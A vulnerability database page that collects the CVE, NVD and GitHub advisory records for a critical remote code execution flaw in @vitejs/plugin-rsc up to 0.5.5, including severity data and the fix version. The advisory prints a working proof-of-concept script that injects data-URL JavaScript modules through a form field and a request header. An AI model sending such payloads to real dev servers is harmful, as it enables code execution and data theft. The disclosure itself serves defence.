cvelistv5 - cve-2025-67489

CVE-2025-67489 (GCVE-0-2025-67489)

Vulnerability from cvelistv5 – Published: 2025-12-09 20:54 – Updated: 2025-12-10 16:00

Summary

@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/vitejs/vite-plugin-react/secur…	x_refsource_CONFIRM
	https://github.com/vitejs/vite-plugin-react/commi…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	vitejs	vite-plugin-react	Affected: < 0.5.6

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-67489

Vulnerability from fkie_nvd - Published: 2025-12-09 21:16 - Updated: 2025-12-09 21:16

Severity ?

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4
	security-advisories@github.com	https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6."
    }
  ],
  "id": "CVE-2025-67489",
  "lastModified": "2025-12-09T21:16:00.497",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
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  "published": "2025-12-09T21:16:00.497",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
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          "lang": "en",
          "value": "CWE-94"
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}

GHSA-J76J-5P5G-9WFR

Vulnerability from github – Published: 2025-12-08 22:16 – Updated: 2025-12-09 21:37

Summary

@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server

Details

Summary

Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.

Impact

Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.

Details

In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47

During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24

Proof of Concept

The example app is avialable in - https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter - https://stackblitz.com/edit/github-rubfqp9k?file=poc.js

Reproduction Steps:

Stat development server vite dev
Run a following script node poc.js
See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console

// [poc.js]
const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@vitejs/plugin-rsc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-08T22:16:31Z",
    "nvd_published_at": "2025-12-09T21:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request\u0027s header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log(\u0027REMOTE CODE EXECUTION 1\u0027)# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || \u0027http://localhost:5173/_.rsc\u0027;\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log(\u0027REMOTE CODE EXECUTION 2\u0027)# \",\n  },\n  body: fd,\n})\n```",
  "id": "GHSA-j76j-5p5g-9wfr",
  "modified": "2025-12-09T21:37:59Z",
  "published": "2025-12-08T22:16:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67489"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite-plugin-react"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-67489 (GCVE-0-2025-67489)

FKIE_CVE-2025-67489

GHSA-J76J-5P5G-9WFR

Summary

Impact

Details

Proof of Concept

Tags

Sightings

Nomenclature